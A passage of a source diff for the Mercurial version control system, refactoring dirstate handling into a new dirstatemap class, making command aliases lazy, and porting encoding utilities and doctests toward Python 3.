                 # normalizefile calls don't start matching directories
                 folded = self._discoverpath(path, normed, ignoremissing, exists,
-                                            self._dirfoldmap)
+                                            self._map.dirfoldmap)
         return folded
 
     def normalize(self, path, isknown=False, ignoremissing=False):
@@ -734,13 +593,8 @@
         return path
 
     def clear(self):
-        self._map = {}
-        self._nonnormalset = set()
-        self._otherparentset = set()
-        if "_dirs" in self.__dict__:
-            delattr(self, "_dirs")
-        self._copymap = {}
-        self._pl = [nullid, nullid]
+        self._map = dirstatemap(self._ui, self._opener, self._root)
+        self._map.setparents(nullid, nullid)
         self._lastnormaltime = 0
         self._updatedfiles.clear()
         self._dirty = True
@@ -755,7 +609,7 @@
 
         if self._origpl is None:
             self._origpl = self._pl
-        self._pl = (parent, nullid)
+        self._map.setparents(parent, nullid)
         for f in changedfiles:
             if f in allfiles:
                 self.normallookup(f)
@@ -770,7 +624,7 @@
         If identity of previous dirstate is equal to this, writing
         changes based on the former dirstate out can keep consistency.
         '''
-        return self._identity
+        return self._map.identity
 
     def write(self, tr):
         if not self._dirty:
@@ -791,7 +645,7 @@
                 e = dmap.get(f)
                 if e is not None and e[0] == 'n' and e[3] == now:
                     dmap[f] = dirstatetuple(e[0], e[1], e[2], -1)
-                    self._nonnormalset.add(f)
+                    self._map.nonnormalset.add(f)
 
             # emulate that all 'dirstate.normal' results are written out
             self._lastnormaltime = 0
@@ -828,7 +682,7 @@
 
         # enough 'delaywrite' prevents 'pack_dirstate' from dropping
         # timestamp of each entries in dirstate, because of 'now > mtime'
-        delaywrite = self._ui.configint('debug', 'dirstate.delaywrite', 0)
+        delaywrite = self._ui.configint('debug', 'dirstate.delaywrite')
         if delaywrite > 0:
             # do we have any files to delay for?
             for f, e in self._map.iteritems():
@@ -843,11 +697,9 @@
                     now = end # trust our estimate that the end is near now
                     break
 
-        st.write(parsers.pack_dirstate(self._map, self._copymap, self._pl, now))
-        self._nonnormalset, self._otherparentset = nonnormalentries(self._map)
-        st.close()
+        self._map.write(st, now)
         self._lastnormaltime = 0
-        self._dirty = self._dirtypl = False
+        self._dirty = False
 
     def _dirignore(self, f):
         if f == '.':
@@ -982,13 +834,13 @@
                     results[nf] = None
                 else: # does it match a missing directory?
                     if alldirs is None:
-                        alldirs = util.dirs(dmap)
+                        alldirs = util.dirs(dmap._map)
                     if nf in alldirs:
                         if matchedir:
                             matchedir(nf)
                         notfoundadd(nf)
                     else:
-                        badfn(ff, inst.strerror)
+                        badfn(ff, encoding.strtolocal(inst.strerror))
 
         # Case insensitive filesystems cannot rely on lstat() failing to detect
         # a case-only rename.  Prune the stat object for any file that does not
@@ -1014,7 +866,7 @@
                 if len(paths) > 1:
                     for path in paths:
                         folded = self._discoverpath(path, norm, True, None,
-                                                    self._dirfoldmap)
+                                                    self._map.dirfoldmap)
                         if path != folded:
                             results[path] = None
 
@@ -1094,7 +946,8 @@
                     entries = listdir(join(nd), stat=True, skip=skip)
                 except OSError as inst:
                     if inst.errno in (errno.EACCES, errno.ENOENT):
-                        match.bad(self.pathto(nd), inst.strerror)
+                        match.bad(self.pathto(nd),
+                                  encoding.strtolocal(inst.strerror))
                         continue
                     raise
                 for f, kind, st in entries:
@@ -1216,7 +1069,7 @@
         mexact = match.exact
         dirignore = self._dirignore
         checkexec = self._checkexec
-        copymap = self._copymap
+        copymap = self._map.copymap
         lastnormaltime = self._lastnormaltime
 
         # We need to do full walks when either
@@ -1341,3 +1194,203 @@
     def clearbackup(self, tr, backupname):
         '''Clear backup file'''
         self._opener.unlink(backupname)
+
+class dirstatemap(object):
+    def __init__(self, ui, opener, root):
+        self._ui = ui
+        self._opener = opener
+        self._root = root
+        self._filename = 'dirstate'
+
+        self._map = {}
+        self.copymap = {}
+        self._parents = None
+        self._dirtyparents = False
+
+        # for consistent view between _pl() and _read() invocations
+        self._pendingmode = None
+
+    def iteritems(self):
+        return self._map.iteritems()
+
+    def __len__(self):
+        return len(self._map)
+
+    def __iter__(self):
+        return iter(self._map)
+
+    def get(self, key, default=None):
+        return self._map.get(key, default)
+
+    def __contains__(self, key):
+        return key in self._map
+
+    def __setitem__(self, key, value):
+        self._map[key] = value
+
+    def __getitem__(self, key):
+        return self._map[key]
+
+    def __delitem__(self, key):
+        del self._map[key]
+
+    def keys(self):
+        return self._map.keys()
+
+    def nonnormalentries(self):
+        '''Compute the nonnormal dirstate entries from the dmap'''
+        try:
+            return parsers.nonnormalotherparententries(self._map)
+        except AttributeError:
+            nonnorm = set()
+            otherparent = set()
+            for fname, e in self._map.iteritems():
+                if e[0] != 'n' or e[3] == -1:
+                    nonnorm.add(fname)
+                if e[0] == 'n' and e[2] == -2:
+                    otherparent.add(fname)
+            return nonnorm, otherparent
+
+    @propertycache
+    def filefoldmap(self):
+        """Returns a dictionary mapping normalized case paths to their
+        non-normalized versions.
+        """
+        try:
+            makefilefoldmap = parsers.make_file_foldmap
+        except AttributeError:
+            pass
+        else:
+            return makefilefoldmap(self._map, util.normcasespec,
+                                   util.normcasefallback)
+
+        f = {}
+        normcase = util.normcase
+        for name, s in self._map.iteritems():
+            if s[0] != 'r':
+                f[normcase(name)] = name
+        f['.'] = '.' # prevents useless util.fspath() invocation
+        return f
+
+    @propertycache
+    def dirs(self):
+        """Returns a set-like object containing all the directories in the
+        current dirstate.
+        """
+        return util.dirs(self._map, 'r')
+
+    def _opendirstatefile(self):
+        fp, mode = txnutil.trypending(self._root, self._opener, self._filename)
+        if self._pendingmode is not None and self._pendingmode != mode:
+            fp.close()
+            raise error.Abort(_('working directory state may be '
+                                'changed parallelly'))
+        self._pendingmode = mode
+        return fp
+
+    def parents(self):
+        if not self._parents:
+            try:
+                fp = self._opendirstatefile()
+                st = fp.read(40)
+                fp.close()
+            except IOError as err:
+                if err.errno != errno.ENOENT:
+                    raise
+                # File doesn't exist, so the current state is empty
+                st = ''
+
+            l = len(st)
+            if l == 40:
+                self._parents = st[:20], st[20:40]
+            elif l == 0:
+                self._parents = [nullid, nullid]
+            else:
+                raise error.Abort(_('working directory state appears '
+                                    'damaged!'))
+
+        return self._parents
+
+    def setparents(self, p1, p2):
+        self._parents = (p1, p2)
+        self._dirtyparents = True
+
+    def read(self):
+        # ignore HG_PENDING because identity is used only for writing
+        self.identity = util.filestat.frompath(
+            self._opener.join(self._filename))
+
+        try:
+            fp = self._opendirstatefile()
+            try:
+                st = fp.read()
+            finally:
+                fp.close()
+        except IOError as err:
+            if err.errno != errno.ENOENT:
+                raise
+            return
+        if not st:
+            return
+
+        if util.safehasattr(parsers, 'dict_new_presized'):
+            # Make an estimate of the number of files in the dirstate based on
+            # its size. From a linear regression on a set of real-world repos,
+            # all over 10,000 files, the size of a dirstate entry is 85
+            # bytes. The cost of resizing is significantly higher than the cost
+            # of filling in a larger presized dict, so subtract 20% from the
+            # size.
+            #
+            # This heuristic is imperfect in many ways, so in a future dirstate
+            # format update it makes sense to just record the number of entries
+            # on write.
+            self._map = parsers.dict_new_presized(len(st) / 71)
+
+        # Python's garbage collector triggers a GC each time a certain number
+        # of container objects (the number being defined by
+        # gc.get_threshold()) are allocated. parse_dirstate creates a tuple
+        # for each file in the dirstate. The C version then immediately marks
+        # them as not to be tracked by the collector. However, this has no
+        # effect on when GCs are triggered, only on what objects the GC looks
+        # into. This means that O(number of files) GCs are unavoidable.
+        # Depending on when in the process's lifetime the dirstate is parsed,
+        # this can get very expensive. As a workaround, disable GC while
+        # parsing the dirstate.
+        #
+        # (we cannot decorate the function directly since it is in a C module)
+        parse_dirstate = util.nogc(parsers.parse_dirstate)
+        p = parse_dirstate(self._map, self.copymap, st)
+        if not self._dirtyparents:
+            self.setparents(*p)
+
+    def write(self, st, now):
+        st.write(parsers.pack_dirstate(self._map, self.copymap,
+                                       self.parents(), now))
+        st.close()
+        self._dirtyparents = False
+        self.nonnormalset, self.otherparentset = self.nonnormalentries()
+
+    @propertycache
+    def nonnormalset(self):
+        nonnorm, otherparents = self.nonnormalentries()
+        self.otherparentset = otherparents
+        return nonnorm
+
+    @propertycache
+    def otherparentset(self):
+        nonnorm, otherparents = self.nonnormalentries()
+        self.nonnormalset = nonnorm
+        return otherparents
+
+    @propertycache
+    def identity(self):
+        self.read()
+        return self.identity
+
+    @propertycache
+    def dirfoldmap(self):
+        f = {}
+        normcase = util.normcase
+        for name in self.dirs:
+            f[normcase(name)] = name
+        return f
diff --git a/mercurial/dirstateguard.py b/mercurial/dirstateguard.py
--- a/mercurial/dirstateguard.py
+++ b/mercurial/dirstateguard.py
@@ -11,9 +11,10 @@
 
 from . import (
     error,
+    util,
 )
 
-class dirstateguard(object):
+class dirstateguard(util.transactional):
     '''Restore dirstate at unexpected failure.
 
     At the construction, this class does:
diff --git a/mercurial/dispatch.py b/mercurial/dispatch.py
--- a/mercurial/dispatch.py
+++ b/mercurial/dispatch.py
@@ -35,11 +35,14 @@
     hook,
     profiling,
     pycompat,
+    registrar,
     scmutil,
     ui as uimod,
     util,
 )
 
+unrecoverablewrite = registrar.command.unrecoverablewrite
+
 class request(object):
     def __init__(self, args, ui=None, repo=None, fin=None, fout=None,
                  ferr=None, prereposetups=None):
@@ -75,23 +78,31 @@
 
 def run():
     "run the command in sys.argv"
+    _initstdio()
     req = request(pycompat.sysargv[1:])
     err = None
     try:
         status = (dispatch(req) or 0) & 255
-    except error.StdioError as err:
+    except error.StdioError as e:
+        err = e
         status = -1
     if util.safehasattr(req.ui, 'fout'):
         try:
             req.ui.fout.flush()
-        except IOError as err:
+        except IOError as e:
+            err = e
             status = -1
     if util.safehasattr(req.ui, 'ferr'):
         if err is not None and err.errno != errno.EPIPE:
-            req.ui.ferr.write('abort: %s\n' % err.strerror)
+            req.ui.ferr.write('abort: %s\n' %
+                              encoding.strtolocal(err.strerror))
         req.ui.ferr.flush()
     sys.exit(status & 255)
 
+def _initstdio():
+    for fp in (sys.stdin, sys.stdout, sys.stderr):
+        util.setbinary(fp)
+
 def _getsimilar(symbols, value):
     sim = lambda x: difflib.SequenceMatcher(None, value, x).ratio()
     # The cutoff for similarity here is pretty arbitrary. It should
@@ -242,10 +253,10 @@
         try:
             debugger = 'pdb'
             debugtrace = {
-                'pdb' : pdb.set_trace
+                'pdb': pdb.set_trace
             }
             debugmortem = {
-                'pdb' : pdb.post_mortem
+                'pdb': pdb.post_mortem
             }
 
             # read --config before doing anything else
@@ -356,7 +367,10 @@
     return -1
 
 def aliasargs(fn, givenargs):
-    args = getattr(fn, 'args', [])
+    args = []
+    # only care about alias 'args', ignore 'args' set by extensions.wrapfunction
+    if not util.safehasattr(fn, '_origfunc'):
+        args = getattr(fn, 'args', args)
     if args:
         cmd = ' '.join(map(util.shellquote, args))
 
@@ -484,7 +498,7 @@
         return aliasargs(self.fn, args)
 
     def __getattr__(self, name):
-        adefaults = {r'norepo': True,
+        adefaults = {r'norepo': True, r'cmdtype': unrecoverablewrite,
                      r'optionalrepo': False, r'inferrepo': False}
         if name not in adefaults:
             raise AttributeError(name)
@@ -519,23 +533,52 @@
                 ui.debug("alias '%s' expands to '%s'\n" % (self.name, args))
                 raise
 
+class lazyaliasentry(object):
+    """like a typical command entry (func, opts, help), but is lazy"""
+
+    def __init__(self, name, definition, cmdtable, source):
+        self.name = name
+        self.definition = definition
+        self.cmdtable = cmdtable.copy()
+        self.source = source
+
+    @util.propertycache
+    def _aliasdef(self):
+        return cmdalias(self.name, self.definition, self.cmdtable, self.source)
+
+    def __getitem__(self, n):
+        aliasdef = self._aliasdef
+        if n == 0:
+            return aliasdef
+        elif n == 1:
+            return aliasdef.opts
+        elif n == 2:
+            return aliasdef.help
+        else:
+            raise IndexError
+
+    def __iter__(self):
+        for i in range(3):
+            yield self[i]
+
+    def __len__(self):
+        return 3
+
 def addaliases(ui, cmdtable):
     # aliases are processed after extensions have been loaded, so they
     # may use extension commands. Aliases can also use other alias definitions,
     # but only if they have been defined prior to the current definition.
     for alias, definition in ui.configitems('alias'):
-        source = ui.configsource('alias', alias)
-        aliasdef = cmdalias(alias, definition, cmdtable, source)
-
         try:
-            olddef = cmdtable[aliasdef.cmd][0]
-            if olddef.definition == aliasdef.definition:
+            if cmdtable[alias].definition == definition:
                 continue
         except (KeyError, AttributeError):
             # definition might not exist or it might not be a cmdalias
             pass
 
-        cmdtable[aliasdef.name] = (aliasdef, aliasdef.opts, aliasdef.help)
+        source = ui.configsource('alias', alias)
+        entry = lazyaliasentry(alias, definition, cmdtable, source)
+        cmdtable[alias] = entry
 
 def _parse(ui, args):
     options = {}
@@ -603,20 +646,20 @@
     The values are listed in the order they appear in args.
     The options and values are removed from args.
 
-    >>> args = ['x', '--cwd', 'foo', 'y']
-    >>> _earlygetopt(['--cwd'], args), args
+    >>> args = [b'x', b'--cwd', b'foo', b'y']
+    >>> _earlygetopt([b'--cwd'], args), args
     (['foo'], ['x', 'y'])
 
-    >>> args = ['x', '--cwd=bar', 'y']
-    >>> _earlygetopt(['--cwd'], args), args
+    >>> args = [b'x', b'--cwd=bar', b'y']
+    >>> _earlygetopt([b'--cwd'], args), args
     (['bar'], ['x', 'y'])
 
-    >>> args = ['x', '-R', 'foo', 'y']
-    >>> _earlygetopt(['-R'], args), args
+    >>> args = [b'x', b'-R', b'foo', b'y']
+    >>> _earlygetopt([b'-R'], args), args
     (['foo'], ['x', 'y'])
 
-    >>> args = ['x', '-Rbar', 'y']
-    >>> _earlygetopt(['-R'], args), args
+    >>> args = [b'x', b'-Rbar', b'y']
+    >>> _earlygetopt([b'-R'], args), args
     (['bar'], ['x', 'y'])
     """
     try:
@@ -676,7 +719,7 @@
             wd = pycompat.getcwd()
         except OSError as e:
             raise error.Abort(_("error getting current working directory: %s") %
-                              e.strerror)
+                              encoding.strtolocal(e.strerror))
     path = cmdutil.findrepo(wd) or ""
     if not path:
         lui = ui
@@ -831,7 +874,8 @@
             # ui.pager() expects 'internal-always-' prefix in this case
             ui.pager('internal-always-' + cmd)
         elif options['pager'] != 'auto':
-            ui.disablepager()
+            for ui_ in uis:
+                ui_.disablepager()
 
         if options['version']:
             return commands.version_(ui)
diff --git a/mercurial/encoding.py b/mercurial/encoding.py
--- a/mercurial/encoding.py
+++ b/mercurial/encoding.py
@@ -5,9 +5,9 @@
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
-from __future__ import absolute_import
+from __future__ import absolute_import, print_function
 
-import array
+import io
 import locale
 import os
 import unicodedata
@@ -18,6 +18,17 @@
     pycompat,
 )
 
+from .pure import (
+    charencode as charencodepure,
+)
+
+charencode = policy.importmod(r'charencode')
+
+isasciistr = charencode.isasciistr
+asciilower = charencode.asciilower
+asciiupper = charencode.asciiupper
+_jsonescapeu8fast = charencode.jsonescapeu8fast
+
 _sysstr = pycompat.sysstr
 
 if pycompat.ispy3:
@@ -73,11 +84,11 @@
 encodingmode = environ.get("HGENCODINGMODE", "strict")
 fallbackencoding = 'ISO-8859-1'
 
-class localstr(str):
+class localstr(bytes):
     '''This class allows strings that are unmodified to be
     round-tripped to the local encoding and back'''
     def __new__(cls, u, l):
-        s = str.__new__(cls, l)
+        s = bytes.__new__(cls, l)
         s._utf8 = u
         return s
     def __hash__(self):
@@ -97,19 +108,19 @@
     strings next to their local representation to allow lossless
     round-trip conversion back to UTF-8.
 
-    >>> u = 'foo: \\xc3\\xa4' # utf-8
+    >>> u = b'foo: \\xc3\\xa4' # utf-8
     >>> l = tolocal(u)
     >>> l
     'foo: ?'
     >>> fromlocal(l)
     'foo: \\xc3\\xa4'
-    >>> u2 = 'foo: \\xc3\\xa1'
+    >>> u2 = b'foo: \\xc3\\xa1'
     >>> d = { l: 1, tolocal(u2): 2 }
     >>> len(d) # no collision
     2
-    >>> 'foo: ?' in d
+    >>> b'foo: ?' in d
     False
-    >>> l1 = 'foo: \\xe4' # historical latin1 fallback
+    >>> l1 = b'foo: \\xe4' # historical latin1 fallback
     >>> l = tolocal(l1)
     >>> l
     'foo: ?'
@@ -117,6 +128,9 @@
     'foo: \\xc3\\xa4'
     """
 
+    if isasciistr(s):
+        return s
+
     try:
         try:
             # make sure string is actually stored in UTF-8
@@ -159,6 +173,8 @@
     # can we do a lossless round-trip?
     if isinstance(s, localstr):
         return s._utf8
+    if isasciistr(s):
+        return s
 
     try:
         u = s.decode(_sysstr(encoding), _sysstr(encodingmode))
@@ -231,60 +247,63 @@
     If 'leftside' is True, left side of string 's' is trimmed.
     'ellipsis' is always placed at trimmed side.
 
-    >>> ellipsis = '+++'
+    >>> from .node import bin
+    >>> def bprint(s):
+    ...     print(pycompat.sysstr(s))
+    >>> ellipsis = b'+++'
     >>> from . import encoding
-    >>> encoding.encoding = 'utf-8'
-    >>> t= '1234567890'
-    >>> print trim(t, 12, ellipsis=ellipsis)
+    >>> encoding.encoding = b'utf-8'
+    >>> t = b'1234567890'
+    >>> bprint(trim(t, 12, ellipsis=ellipsis))
     1234567890
-    >>> print trim(t, 10, ellipsis=ellipsis)
+    >>> bprint(trim(t, 10, ellipsis=ellipsis))
     1234567890
-    >>> print trim(t, 8, ellipsis=ellipsis)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis))
     12345+++
-    >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis, leftside=True))
     +++67890
-    >>> print trim(t, 8)
+    >>> bprint(trim(t, 8))
     12345678
-    >>> print trim(t, 8, leftside=True)
+    >>> bprint(trim(t, 8, leftside=True))
     34567890
-    >>> print trim(t, 3, ellipsis=ellipsis)
+    >>> bprint(trim(t, 3, ellipsis=ellipsis))
     +++
-    >>> print trim(t, 1, ellipsis=ellipsis)
+    >>> bprint(trim(t, 1, ellipsis=ellipsis))
     +
     >>> u = u'\u3042\u3044\u3046\u3048\u304a' # 2 x 5 = 10 columns
-    >>> t = u.encode(encoding.encoding)
-    >>> print trim(t, 12, ellipsis=ellipsis)
+    >>> t = u.encode(pycompat.sysstr(encoding.encoding))
+    >>> bprint(trim(t, 12, ellipsis=ellipsis))
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 10, ellipsis=ellipsis)
+    >>> bprint(trim(t, 10, ellipsis=ellipsis))
     \xe3\x81\x82\xe3\x81\x84\xe3\x81\x86\xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 8, ellipsis=ellipsis)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis))
     \xe3\x81\x82\xe3\x81\x84+++
-    >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis, leftside=True))
     +++\xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 5)
+    >>> bprint(trim(t, 5))
     \xe3\x81\x82\xe3\x81\x84
-    >>> print trim(t, 5, leftside=True)
+    >>> bprint(trim(t, 5, leftside=True))
     \xe3\x81\x88\xe3\x81\x8a
-    >>> print trim(t, 4, ellipsis=ellipsis)
+    >>> bprint(trim(t, 4, ellipsis=ellipsis))
     +++
-    >>> print trim(t, 4, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 4, ellipsis=ellipsis, leftside=True))
     +++
-    >>> t = '\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa' # invalid byte sequence
-    >>> print trim(t, 12, ellipsis=ellipsis)
+    >>> t = bin(b'112233445566778899aa') # invalid byte sequence
+    >>> bprint(trim(t, 12, ellipsis=ellipsis))
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
-    >>> print trim(t, 10, ellipsis=ellipsis)
+    >>> bprint(trim(t, 10, ellipsis=ellipsis))
     \x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa
-    >>> print trim(t, 8, ellipsis=ellipsis)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis))
     \x11\x22\x33\x44\x55+++
-    >>> print trim(t, 8, ellipsis=ellipsis, leftside=True)
+    >>> bprint(trim(t, 8, ellipsis=ellipsis, leftside=True))
     +++\x66\x77\x88\x99\xaa
-    >>> print trim(t, 8)
+    >>> bprint(trim(t, 8))
     \x11\x22\x33\x44\x55\x66\x77\x88
-    >>> print trim(t, 8, leftside=True)
+    >>> bprint(trim(t, 8, leftside=True))
     \x33\x44\x55\x66\x77\x88\x99\xaa
-    >>> print trim(t, 3, ellipsis=ellipsis)
+    >>> bprint(trim(t, 3, ellipsis=ellipsis))
     +++
-    >>> print trim(t, 1, ellipsis=ellipsis)
+    >>> bprint(trim(t, 1, ellipsis=ellipsis))
     +
     """
     try:
@@ -318,38 +337,6 @@
             return concat(usub.encode(_sysstr(encoding)))
     return ellipsis # no enough room for multi-column characters
 
-def _asciilower(s):
-    '''convert a string to lowercase if ASCII
-
-    Raises UnicodeDecodeError if non-ASCII characters are found.'''
-    s.decode('ascii')
-    return s.lower()
-
-def asciilower(s):
-    # delay importing avoids cyclic dependency around "parsers" in
-    # pure Python build (util => i18n => encoding => parsers => util)
-    parsers = policy.importmod(r'parsers')
-    impl = getattr(parsers, 'asciilower', _asciilower)
-    global asciilower
-    asciilower = impl
-    return impl(s)
-
-def _asciiupper(s):
-    '''convert a string to uppercase if ASCII
-
-    Raises UnicodeDecodeError if non-ASCII characters are found.'''
-    s.decode('ascii')
-    return s.upper()
-
-def asciiupper(s):
-    # delay importing avoids cyclic dependency around "parsers" in
-    # pure Python build (util => i18n => encoding => parsers => util)
-    parsers = policy.importmod(r'parsers')
-    impl = getattr(parsers, 'asciiupper', _asciiupper)
-    global asciiupper
-    asciiupper = impl
-    return impl(s)
-
 def lower(s):
     "best-effort encoding-aware case-folding of local string s"
     try:
@@ -409,22 +396,6 @@
     upper = 1
     other = 0
 
-_jsonmap = []
-_jsonmap.extend("\\u%04x" % x for x in range(32))
-_jsonmap.extend(pycompat.bytechr(x) for x in range(32, 127))
-_jsonmap.append('\\u007f')
-_jsonmap[0x09] = '\\t'
-_jsonmap[0x0a] = '\\n'
-_jsonmap[0x22] = '\\"'
-_jsonmap[0x5c] = '\\\\'
-_jsonmap[0x08] = '\\b'
-_jsonmap[0x0c] = '\\f'
-_jsonmap[0x0d] = '\\r'
-_paranoidjsonmap = _jsonmap[:]
-_paranoidjsonmap[0x3c] = '\\u003c'  # '<' (e.g. escape "</script>")
-_paranoidjsonmap[0x3e] = '\\u003e'  # '>'
-_jsonmap.extend(pycompat.bytechr(x) for x in range(128, 256))
-
 def jsonescape(s, paranoid=False):
     '''returns a string suitable for JSON
 
@@ -438,48 +409,51 @@
 
     (escapes are doubled in these tests)
 
-    >>> jsonescape('this is a test')
+    >>> jsonescape(b'this is a test')
     'this is a test'
-    >>> jsonescape('escape characters: \\0 \\x0b \\x7f')
+    >>> jsonescape(b'escape characters: \\0 \\x0b \\x7f')
     'escape characters: \\\\u0000 \\\\u000b \\\\u007f'
-    >>> jsonescape('escape characters: \\t \\n \\r \\" \\\\')
-    'escape characters: \\\\t \\\\n \\\\r \\\\" \\\\\\\\'
-    >>> jsonescape('a weird byte: \\xdd')
+    >>> jsonescape(b'escape characters: \\b \\t \\n \\f \\r \\" \\\\')
+    'escape characters: \\\\b \\\\t \\\\n \\\\f \\\\r \\\\" \\\\\\\\'
+    >>> jsonescape(b'a weird byte: \\xdd')
     'a weird byte: \\xed\\xb3\\x9d'
-    >>> jsonescape('utf-8: caf\\xc3\\xa9')
+    >>> jsonescape(b'utf-8: caf\\xc3\\xa9')
     'utf-8: caf\\xc3\\xa9'
-    >>> jsonescape('')
+    >>> jsonescape(b'')
     ''
 
     If paranoid, non-ascii and common troublesome characters are also escaped.
     This is suitable for web output.
 
-    >>> jsonescape('escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
+    >>> s = b'escape characters: \\0 \\x0b \\x7f'
+    >>> assert jsonescape(s) == jsonescape(s, paranoid=True)
+    >>> s = b'escape characters: \\b \\t \\n \\f \\r \\" \\\\'
+    >>> assert jsonescape(s) == jsonescape(s, paranoid=True)
+    >>> jsonescape(b'escape boundary: \\x7e \\x7f \\xc2\\x80', paranoid=True)
     'escape boundary: ~ \\\\u007f \\\\u0080'
-    >>> jsonescape('a weird byte: \\xdd', paranoid=True)
+    >>> jsonescape(b'a weird byte: \\xdd', paranoid=True)
     'a weird byte: \\\\udcdd'
-    >>> jsonescape('utf-8: caf\\xc3\\xa9', paranoid=True)
+    >>> jsonescape(b'utf-8: caf\\xc3\\xa9', paranoid=True)
     'utf-8: caf\\\\u00e9'
-    >>> jsonescape('non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
+    >>> jsonescape(b'non-BMP: \\xf0\\x9d\\x84\\x9e', paranoid=True)
     'non-BMP: \\\\ud834\\\\udd1e'
-    >>> jsonescape('<foo@example.org>', paranoid=True)
+    >>> jsonescape(b'<foo@example.org>', paranoid=True)
     '\\\\u003cfoo@example.org\\\\u003e'
     '''
 
-    if paranoid:
-        jm = _paranoidjsonmap
-    else:
-        jm = _jsonmap
-
     u8chars = toutf8b(s)
     try:
-        return ''.join(jm[x] for x in bytearray(u8chars))  # fast path
-    except IndexError:
+        return _jsonescapeu8fast(u8chars, paranoid)
+    except ValueError:
         pass
-    # non-BMP char is represented as UTF-16 surrogate pair
-    u16codes = array.array('H', u8chars.decode('utf-8').encode('utf-16'))
-    u16codes.pop(0)  # drop BOM
-    return ''.join(jm[x] if x < 128 else '\\u%04x' % x for x in u16codes)
+    return charencodepure.jsonescapeu8fallback(u8chars, paranoid)
+
+# We need to decode/encode U+DCxx codes transparently since invalid UTF-8
+# bytes are mapped to that range.
+if pycompat.ispy3:
+    _utf8strict = r'surrogatepass'
+else:
+    _utf8strict = r'strict'
 
 _utf8len = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 3, 4]
 
@@ -491,13 +465,13 @@
     '''
 
     # find how many bytes to attempt decoding from first nibble
-    l = _utf8len[ord(s[pos]) >> 4]
+    l = _utf8len[ord(s[pos:pos + 1]) >> 4]
     if not l: # ascii
-        return s[pos]
+        return s[pos:pos + 1]
 
     c = s[pos:pos + l]
     # validate with attempted decode
-    c.decode("utf-8")
+    c.decode("utf-8", _utf8strict)
     return c
 
 def toutf8b(s):
@@ -530,15 +504,18 @@
     internal surrogate encoding as a UTF-8 string.)
     '''
 
+    if not isinstance(s, localstr) and isasciistr(s):
+        return s
     if "\xed" not in s:
         if isinstance(s, localstr):
             return s._utf8
         try:
-            s.decode('utf-8')
+            s.decode('utf-8', _utf8strict)
             return s
         except UnicodeDecodeError:
             pass
 
+    s = pycompat.bytestr(s)
     r = ""
     pos = 0
     l = len(s)
@@ -547,12 +524,12 @@
             c = getutf8char(s, pos)
             if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
                 # have to re-escape existing U+DCxx characters
-                c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
+                c = unichr(0xdc00 + ord(s[pos])).encode('utf-8', _utf8strict)
                 pos += 1
             else:
                 pos += len(c)
         except UnicodeDecodeError:
-            c = unichr(0xdc00 + ord(s[pos])).encode('utf-8')
+            c = unichr(0xdc00 + ord(s[pos])).encode('utf-8', _utf8strict)
             pos += 1
         r += c
     return r
@@ -565,21 +542,23 @@
     that's was passed through tolocal will remain in UTF-8.
 
     >>> roundtrip = lambda x: fromutf8b(toutf8b(x)) == x
-    >>> m = "\\xc3\\xa9\\x99abcd"
+    >>> m = b"\\xc3\\xa9\\x99abcd"
     >>> toutf8b(m)
     '\\xc3\\xa9\\xed\\xb2\\x99abcd'
     >>> roundtrip(m)
     True
-    >>> roundtrip("\\xc2\\xc2\\x80")
+    >>> roundtrip(b"\\xc2\\xc2\\x80")
     True
-    >>> roundtrip("\\xef\\xbf\\xbd")
+    >>> roundtrip(b"\\xef\\xbf\\xbd")
     True
-    >>> roundtrip("\\xef\\xef\\xbf\\xbd")
+    >>> roundtrip(b"\\xef\\xef\\xbf\\xbd")
     True
-    >>> roundtrip("\\xf1\\x80\\x80\\x80\\x80")
+    >>> roundtrip(b"\\xf1\\x80\\x80\\x80\\x80")
     True
     '''
 
+    if isasciistr(s):
+        return s
     # fast path - look for uDxxx prefixes in s
     if "\xed" not in s:
         return s
@@ -589,6 +568,7 @@
     # points to be escaped. Instead, we use our handy getutf8char
     # helper again to walk the string without "decoding" it.
 
+    s = pycompat.bytestr(s)
     r = ""
     pos = 0
     l = len(s)
@@ -597,6 +577,21 @@
         pos += len(c)
         # unescape U+DCxx characters
         if "\xed\xb0\x80" <= c <= "\xed\xb3\xbf":
-            c = chr(ord(c.decode("utf-8")) & 0xff)
+            c = pycompat.bytechr(ord(c.decode("utf-8", _utf8strict)) & 0xff)
         r += c
     return r
+
+if pycompat.ispy3:
+    class strio(io.TextIOWrapper):
+        """Wrapper around TextIOWrapper that respects hg's encoding assumptions.
+
+        Also works around Python closing streams.
+        """
+
+        def __init__(self, buffer):
+            super(strio, self).__init__(buffer, encoding=_sysstr(encoding))
+
+        def __del__(self):
+            """Override __del__ so it doesn't close the underlying stream."""
+else:
+    strio = pycompat.identity
diff --git a/mercurial/error.py b/mercurial/error.py
--- a/mercurial/error.py
+++ b/mercurial/error.py
@@ -115,6 +115,9 @@
     """Raised when parsing config files and {rev,file}sets (msg[, pos])"""
     __bytes__ = _tobytes
 
+class PatchError(Exception):
+    __bytes__ = _tobytes
+
 class UnknownIdentifier(ParseError):
     """Exception raised when a {rev,file}set references an unknown identifier"""
 
diff --git a/mercurial/exchange.py b/mercurial/exchange.py
--- a/mercurial/exchange.py
+++ b/mercurial/exchange.py
@@ -7,6 +7,7 @@
 
 from __future__ import absolute_import
 
+import collections
 import errno
 import hashlib
 
@@ -294,7 +295,7 @@
     """
 
     def __init__(self, repo, remote, force=False, revs=None, newbranch=False,
-                 bookmarks=()):
+                 bookmarks=(), pushvars=None):
         # repo we push from
         self.repo = repo
